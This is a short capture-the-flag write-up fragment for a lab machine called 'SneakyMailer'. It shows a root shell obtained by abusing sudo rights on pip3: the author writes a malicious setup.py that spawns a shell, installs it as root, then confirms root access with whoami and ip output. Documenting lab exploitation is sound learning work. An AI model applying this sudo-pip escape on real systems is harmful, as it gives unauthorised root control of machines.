SneakyMailer_Privilege_Escalation

pip

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low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo -u root pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.CCBji8ht3K
# 

That’s all it takes

# whoami
root
# hostname
sneakymailer
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:f0:4c brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.197/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:f04c/64 scope global dynamic mngtmpaddr 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb9:f04c/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise